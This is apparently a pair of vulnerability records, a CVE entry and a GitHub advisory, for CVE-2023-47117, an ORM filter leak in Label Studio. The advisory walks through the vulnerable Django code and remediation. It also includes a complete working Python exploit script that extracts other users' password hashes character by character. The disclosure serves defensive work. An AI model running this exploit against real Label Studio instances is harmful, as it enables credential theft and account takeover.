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            "url": "https://github.com/HumanSignal/label-studio/commit/f931d9d129002f54a495995774ce7384174cef5c"
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        "title": "CVE Program Container"
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                "id": "CVE-2023-47117",
                "options": [
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                  {
                    "Automatable": "yes"
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                "role": "CISA Coordinator",
                "timestamp": "2025-01-08T21:11:59.859697Z",
                "version": "2.0.3"
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    "cna": {
      "affected": [
        {
          "product": "label-studio",
          "vendor": "HumanSignal",
          "versions": [
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              "status": "affected",
              "version": "\u003c 1.9.2post0"
            }
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      "descriptions": [
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          "lang": "en",
          "value": "Label Studio is an open source data labeling tool. In all current versions of Label Studio prior to 1.9.2post0, the application allows users to insecurely set filters for filtering tasks. An attacker can construct a filter chain to filter tasks based on sensitive fields for all user accounts on the platform by exploiting Django\u0027s Object Relational Mapper (ORM). Since the results of query can be manipulated by the ORM filter, an attacker can leak these sensitive fields character by character. In addition, Label Studio had a hard coded secret key that an attacker can use to forge a session token of any user by exploiting this ORM Leak vulnerability to leak account password hashes. This vulnerability has been addressed in commit `f931d9d129` which is included in the 1.9.2post0 release. Users are advised to upgrade. There are no known workarounds for this vulnerability."
        }
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          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
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              "cweId": "CWE-200",
              "description": "CWE-200: Exposure of Sensitive Information to an Unauthorized Actor",
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        "dateUpdated": "2023-11-13T20:13:32.396Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
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          "name": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-6hjj-gq77-j4qw",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-6hjj-gq77-j4qw"
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        {
          "name": "https://github.com/HumanSignal/label-studio/commit/f931d9d129002f54a495995774ce7384174cef5c",
          "tags": [
            "x_refsource_MISC"
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          "url": "https://github.com/HumanSignal/label-studio/commit/f931d9d129002f54a495995774ce7384174cef5c"
        }
      ],
      "source": {
        "advisory": "GHSA-6hjj-gq77-j4qw",
        "discovery": "UNKNOWN"
      },
      "title": "Object Relational Mapper Leak Vulnerability in Filtering Task in Label Studio"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2023-47117",
    "datePublished": "2023-11-13T20:13:32.396Z",
    "dateReserved": "2023-10-30T19:57:51.674Z",
    "dateUpdated": "2025-01-08T21:12:58.865Z",
    "state": "PUBLISHED"
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "label-studio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.2.post0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-47117"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-11-14T18:27:08Z",
    "nvd_published_at": "2023-11-13T21:15:08Z",
    "severity": "HIGH"
  },
  "details": "# Introduction\n\nThis write-up describes a vulnerability found in [Label Studio](https://github.com/HumanSignal/label-studio), a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to `1.9.2post0` and was tested on version `1.8.2`.\n\n# Overview\n\nIn all current versions of [Label Studio](https://github.com/HumanSignal/label-studio), the application allows users to insecurely set filters for filtering tasks. An attacker can construct a *filter chain* to filter tasks based on sensitive fields for all user accounts on the platform by exploiting Django\u0027s Object Relational Mapper (ORM). Since the results of query can be manipulated by the ORM filter, an attacker can leak these sensitive fields character by character. For an example, the following filter chain will task results by the password hash of an account on Label Studio.\n\n```\nfilter:tasks:updated_by__active_organization__active_users__password\n```\n\nFor consistency, this type of vulnerability will be termed as **ORM Leak** in the rest of this disclosure. \n\nIn addition, Label Studio had a hard coded secret key that an attacker can use to forge a session token of any user by exploiting this ORM Leak vulnerability to leak account password hashes.\n\n# Description\n\nThe following code snippet from the `ViewSetSerializer` in [`label_studio/data_manager/serializers.py`](https://github.com/HumanSignal/label-studio/blob/1.8.2/label_studio/data_manager/serializers.py#L115) insecurely creates `Filter` objects from a JSON `POST` request to the `/api/dm/views/{viewId}` API endpoint.\n\n```python\n    @staticmethod\n    def _create_filters(filter_group, filters_data):\n        filter_index = 0\n        for filter_data in filters_data:\n            filter_data[\"index\"] = filter_index\n            filter_group.filters.add(Filter.objects.create(**filter_data))\n            filter_index += 1\n```\n\nThese `Filter` objects are then applied in the `TaskQuerySet` in [`label_studio/data_manager/managers.py`](https://github.com/HumanSignal/label-studio/blob/1.8.2/label_studio/data_manager/managers.py#L473).\n\n```python\nclass TaskQuerySet(models.QuerySet):\n    def prepared(self, prepare_params=None):\n        \"\"\" Apply filters, ordering and selected items to queryset\n\n        :param prepare_params: prepare params with project, filters, orderings, etc\n        :return: ordered and filtered queryset\n        \"\"\"\n        from projects.models import Project\n\n        queryset = self\n\n        if prepare_params is None:\n            return queryset\n\n        project = Project.objects.get(pk=prepare_params.project)\n        request = prepare_params.request\n        queryset = apply_filters(queryset, prepare_params.filters, project, request) \u003c1\u003e\n        queryset = apply_ordering(queryset, prepare_params.ordering, project, request, view_data=prepare_params.data)\n\n        if not prepare_params.selectedItems:\n            return queryset\n\n        # included selected items\n        if prepare_params.selectedItems.all is False and prepare_params.selectedItems.included:\n            queryset = queryset.filter(id__in=prepare_params.selectedItems.included)\n\n        # excluded selected items\n        elif prepare_params.selectedItems.all is True and prepare_params.selectedItems.excluded:\n            queryset = queryset.exclude(id__in=prepare_params.selectedItems.excluded)\n\n        return queryset\n```\n1. User provided filters are insecurely applied here by calling the `apply_filters` that constructs the Django ORM filter.\n\nThe `PreparedTaskManager` in [`label_studio/data_manager/managers.py`](https://github.com/HumanSignal/label-studio/blob/1.8.2/label_studio/data_manager/managers.py#L655) uses the vulnerable `TaskQuerySet` for building the Django queryset for querying `Task` objects, as shown in the following code snippet.\n\n```python\nclass PreparedTaskManager(models.Manager):\n    #...\n\n    def get_queryset(self, fields_for_evaluation=None, prepare_params=None, all_fields=False): \u003c1\u003e\n        \"\"\"\n        :param fields_for_evaluation: list of annotated fields in task\n        :param prepare_params: filters, ordering, selected items\n        :param all_fields: evaluate all fields for task\n        :param request: request for user extraction\n        :return: task queryset with annotated fields\n        \"\"\"\n        queryset = self.only_filtered(prepare_params=prepare_params)\n        return self.annotate_queryset(\n            queryset,\n            fields_for_evaluation=fields_for_evaluation,\n            all_fields=all_fields,\n            request=prepare_params.request\n        )\n\n    def only_filtered(self, prepare_params=None):\n        request = prepare_params.request\n        queryset = TaskQuerySet(self.model).filter(project=prepare_params.project) \u003c1\u003e\n        fields_for_filter_ordering = get_fields_for_filter_ordering(prepare_params)\n        queryset = self.annotate_queryset(queryset, fields_for_evaluation=fields_for_filter_ordering, request=request)\n        return queryset.prepared(prepare_params=prepare_params)\n```\n1. Special Django method for the `models.Manager` class that is used to retrieve the queryset for querying objects of a model.\n2. Uses the vulnerable `TaskQuerySet` that was explained above.\n\nThe following code snippet of the `Task` model in [`label_studio/tasks/models.py`](https://github.com/HumanSignal/label-studio/blob/1.8.2/label_studio/tasks/models.py#L49C1-L102C102) shows that the vulnerable `PreparedTaskManager` is set as a class variable, along with the `updated_by` relational mapping to a Django user that will be exploited as the entrypoint of the filter chain.\n\n```python\n# ...\nclass Task(TaskMixin, models.Model):\n    \"\"\" Business tasks from project\n    \"\"\"\n    id = models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name=\u0027ID\u0027, db_index=True)\n\n    # ...\n\n    updated_by = models.ForeignKey(settings.AUTH_USER_MODEL, related_name=\u0027updated_tasks\u0027,\n        on_delete=models.SET_NULL, null=True, verbose_name=_(\u0027updated by\u0027),\n        help_text=\u0027Last annotator or reviewer who updated this task\u0027) \u003c1\u003e\n\n    # ...\n\n    objects = TaskManager()  # task manager by default\n    prepared = PreparedTaskManager()  # task manager with filters, ordering, etc for data_manager app \u003c2\u003e\n\n    # ...\n```\n1. The entry point of the filter chain to filter by the `updated_by__active_organization__active_users__password`.\n2. The vulnerable `PreparedTaskManager` being set that will be exploited.\n\nFinally, the `TaskListAPI` view set in [`label_studio/tasks/api.py`](https://github.com/HumanSignal/label-studio/blob/1.8.2/label_studio/tasks/api.py#L205) with the `/api/tasks` API endpoint uses the vulnerable `PreparedTaskManager` to filter `Task` objects.\n\n```python\n    def get_queryset(self):\n        task_id = self.request.parser_context[\u0027kwargs\u0027].get(\u0027pk\u0027)\n        task = generics.get_object_or_404(Task, pk=task_id)\n        review = bool_from_request(self.request.GET, \u0027review\u0027, False)\n        selected = {\"all\": False, \"included\": [self.kwargs.get(\"pk\")]}\n        if review:\n            kwargs = {\n                \u0027fields_for_evaluation\u0027: [\u0027annotators\u0027, \u0027reviewed\u0027]\n            }\n        else:\n            kwargs = {\u0027all_fields\u0027: True}\n        project = self.request.query_params.get(\u0027project\u0027) or self.request.data.get(\u0027project\u0027)\n        if not project:\n            project = task.project.id\n        return self.prefetch(\n            Task.prepared.get_queryset(\n                prepare_params=PrepareParams(project=project, selectedItems=selected, request=self.request),\n                **kwargs\n            )) \u003c1\u003e\n```\n1. Uses the vulnerable `PreparedTaskManager` to filter objects.\n\n# Proof of Concept\n\nBelow are the steps to exploit about how to exploit this vulnerability to leak the password hash of an account on Label Studio.\n\n1. Create two accounts on Label Studio and choose one account to be the victim and the other the hacker account that you will use.\n2. Create a new project or use an existing project, then add a task to the project. Update the task with the hacker account to cause the entry point of the filter chain.\n3. Navigate to the task view for the project and add any filter with the `Network` inspect tab open on the browser. Look for a `PATCH` request to `/api/dm/views/{view_id}?interaction=filter\u0026project={project_id}` and save the `view_id` and `project_id` for the next step.\n4. Download the attached proof of concept exploit script named `labelstudio_ormleak.py`. This script will leak the password hash of the victim account character by character. Run the following command to run the exploit script, replacing the `{view_id}`, `{project_id}`, `{cookie_str}` and `{url}` with the corresponding values. For further explanation run `python3 labelstudio_ormleak.py --help`.\n\n```bash\npython3 labelstudio_ormleak.py -v {view_id} -p {project_id} -c \u0027{cookie_str}\u0027 -u \u0027{url}\u0027\n```\n\nThe following example GIF demonstrates exploiting this ORM Leak vulnerability to retrieve the password hash `pbkdf2_sha256$260000$KKeew1othBwMKk2QudmEgb$ALiopdBpWMwMDD628xeE1Ie7YSsKxdXdvWfo/PvVXvw=`.\n\n![labelstudio_ormleak_poc](https://user-images.githubusercontent.com/139727151/266986646-a3d1367c-fb4d-4482-9b6a-18a5d7316385.gif)\n\n# Impact\n\nThis vulnerability can be exploited to completely compromise the confidentiality of highly sensitive account information, such as account password hashes. For all versions `\u003c=1.8.1`, this finding can also be chained with hard coded `SECRET_KEY` to forge session tokens of any user on Label Studio and could be abuse to deteriorate the integrity and availability.\n\n# Remediation Advice\n\n* Do not use unsanitised values for constructing a filter for querying objects using Django\u0027s ORM. Django\u0027s ORM allows querying by relation field and performs auto lookups, that enable filtering by sensitive fields.\n* Validate filter values to an allow list before performing any queries.\n\n# Discovered\n- August 2023, Alex Brown, elttam\n\n---\n# `labelstudio_ormleak.py` proof of concept\n\n```py\nimport argparse\nimport re\nimport requests\nimport string\nimport sys\n\n# Password hash characters\nCHARS = string.ascii_letters + string.digits + \u0027$/+=_!\u0027\nCHARS_LEN = len(CHARS)\n\nPAYLOAD = {\n    \"data\": {\n        \"columnsDisplayType\": {},\n        \"columnsWidth\": {},\n        \"filters\": {\n            \"conjunction\": \"and\",\n            \"items\": [\n                {\n                    \"filter\": \"filter:tasks:updated_by__active_organization__active_users__password\", # ORM Leak filter chain\n                    \"operator\": \"regex\", # Use regex operator to filter password hash value\n                    \"type\": \"String\",\n                    \"value\": \"REPLACEME\"\n                }\n            ]\n        },\n        \"gridWidth\": 4,\n        \"hiddenColumns\":{\"explore\":[\"tasks:inner_id\"],\"labeling\":[\"tasks:id\",\"tasks:inner_id\"]},\n        \"ordering\": [],\n        \"search_text\": None,\n        \"target\": \"tasks\",\n        \"title\": \"Default\",\n        \"type\": \"list\"\n    },\n    \"id\": 1, # View ID\n    \"project\": \"1\" # Project ID\n}\n\ndef parse_args() -\u003e argparse.Namespace:\n    parser = argparse.ArgumentParser(\n        description=\u0027Leak an accounts password hash by exploiting a ORM Leak vulnerability in Label Studio\u0027\n    )\n\n    parser.add_argument(\n        \u0027-v\u0027, \u0027--view-id\u0027,\n        help=\u0027View id of the page\u0027,\n        type=int,\n        required=True\n    )\n\n    parser.add_argument(\n        \u0027-p\u0027, \u0027--project-id\u0027,\n        help=\u0027Project id to filter tasks for\u0027,\n        type=int,\n        required=True\n    )\n\n    parser.add_argument(\n        \u0027-c\u0027, \u0027--cookie-str\u0027,\n        help=\u0027Cookie string for authentication\u0027,\n        required=True\n    )\n\n    parser.add_argument(\n        \u0027-u\u0027, \u0027--url\u0027,\n        help=\u0027Base URL to Label Studio instance\u0027,\n        required=True\n    )\n\n    return parser.parse_args()\n\ndef setup() -\u003e dict:\n    args = parse_args()\n    view_id = args.view_id\n    project_id = args.project_id\n    path_1 = \"/api/dm/views/{view_id}?interaction=filter\u0026project={project_id}\".format(\n        view_id=view_id,\n        project_id=project_id\n    )\n    path_2 = \"/api/tasks?page=1\u0026page_size=1\u0026view={view_id}\u0026interaction=filter\u0026project={project_id}\".format(\n        view_id=view_id,\n        project_id=project_id\n    )\n    PAYLOAD[\"id\"] = view_id\n    PAYLOAD[\"project\"] = str(project_id)\n    \n    config_dict = {\n        \u0027COOKIE_STR\u0027: args.cookie_str,\n        \u0027URL_PATH_1\u0027: args.url + path_1,\n        \u0027URL_PATH_2\u0027: args.url + path_2,\n        \u0027PAYLOAD\u0027: PAYLOAD\n    }\n    return config_dict\n\ndef test_payload(config_dict: dict, payload) -\u003e bool:\n    sys.stdout.flush()\n    cookie_str = config_dict[\"COOKIE_STR\"]\n    r_set = requests.patch(\n        config_dict[\"URL_PATH_1\"],\n        json=payload,\n        headers={\n            \"Cookie\": cookie_str\n        }\n    )\n\n    r_listen = requests.get(\n        config_dict[\u0027URL_PATH_2\u0027],\n        headers={\n            \"Cookie\": cookie_str\n        }\n    )\n\n    r_json = r_listen.json()\n    return len(r_json[\"tasks\"]) \u003e= 1\n\ndef test_char(config_dict, known_hash, c):\n    json_payload_suffix = PAYLOAD\n    test_escaped = re.escape(known_hash + c)\n    json_payload_suffix[\"data\"][\"filters\"][\"items\"][0][\"value\"] =  f\"^{test_escaped}\"\n\n    suffix_result = test_payload(config_dict, json_payload_suffix)\n    if suffix_result:\n        return (known_hash + c, c)\n    \n    return None\n\ndef main():\n    config_dict = setup()\n    # By default Label Studio password hashes start with these characters\n    known_hash = \"pbkdf2_sha256$260000$\"\n    print()\n    print(f\"dumped: {known_hash}\", end=\"\")\n    sys.stdout.flush()\n\n    while True:\n        found = False\n\n        for c in CHARS:\n            r = test_char(config_dict, known_hash, c)\n            if not r is None:\n                new_hash, c = r\n                known_hash = new_hash\n                print(c, end=\"\")\n                sys.stdout.flush()\n                found = True\n                break\n\n        if not found:\n            break\n\n    print()\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-6hjj-gq77-j4qw",
  "modified": "2024-11-22T17:58:56Z",
  "published": "2023-11-14T18:27:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-6hjj-gq77-j4qw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47117"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HumanSignal/label-studio/commit/f931d9d129002f54a495995774ce7384174cef5c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HumanSignal/label-studio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/label-studio/PYSEC-2023-275.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Label Studio Object Relational Mapper Leak Vulnerability in Filtering Task"
}